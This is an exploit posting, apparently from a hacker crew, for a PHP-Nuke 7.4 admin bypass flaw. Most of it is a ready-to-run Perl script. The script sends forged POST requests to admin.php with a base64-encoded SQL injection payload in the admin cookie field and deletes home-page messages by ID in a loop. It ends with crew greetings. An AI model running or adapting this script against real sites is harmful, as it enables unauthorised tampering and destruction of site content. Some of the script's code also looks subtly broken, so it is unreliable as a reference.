Perl exploit that makes use of a flaw in PHP-Nuke 7.4 where an attacker can post to global home-page messages.
4cc09851766971746c5b08e98353c8b4df3cf74fec7ad589cdc3d141e138eea7
[XSS]/SQL Injection PHP-Nuke Delete Message(s) Bug by bima_
Php-Nuke is a popular freeware content management system.
Based on information at :
http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug
An attacker permitted to post to global home-page messages.
I found that we can delete message(s) too.
I wrote a little perl script to prove it, i used POST method.
Here it is :
******cut here**************
#!/usr/bin/perl
#
use LWP;
$log = "pos_phpnuke_deletemsg.txt";
$Agent = "Mbahmu/1.0";
$proxy = "http://172.9.1.11:80/"; # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);
$url = 'http://www.sitewithphpnuke.com/admin.php';
$browser->proxy(http => $proxy) if defined($proxy);
printlog ("\nProcessing: $url\n");
for ($a = 1; $a < 11 ; $a++) {
$mid=$a;
$loginpost = $url;
$loginrequest = HTTP::Request->new(POST => $loginpost);
$loginrequest->content_type('application/x-www-form-urlencoded');
$loginsend =
'mid='.$mid.
'&ok=1'.
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'.
'&add_radminsuper=1'.
'&op=deletemsg';
$loginrequest->content-length($loginsend);
$loginrequest->content($loginsend);
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;
#print ($logincek);
if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){
printlog ("$mid attempting delete message sending OK ".$loginresponse->status_line ."\n") ;
}
else {
printlog ("$mid could be failure ".$loginresponse->status_line ."\n");
last;
}
} #end of for
sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}
******cut here**************
----------------------------------------------------------
*very very very special greetz to:
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[+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink crew @ dal net
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*contact:
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[+] www.neoteker.or.id
[EOF]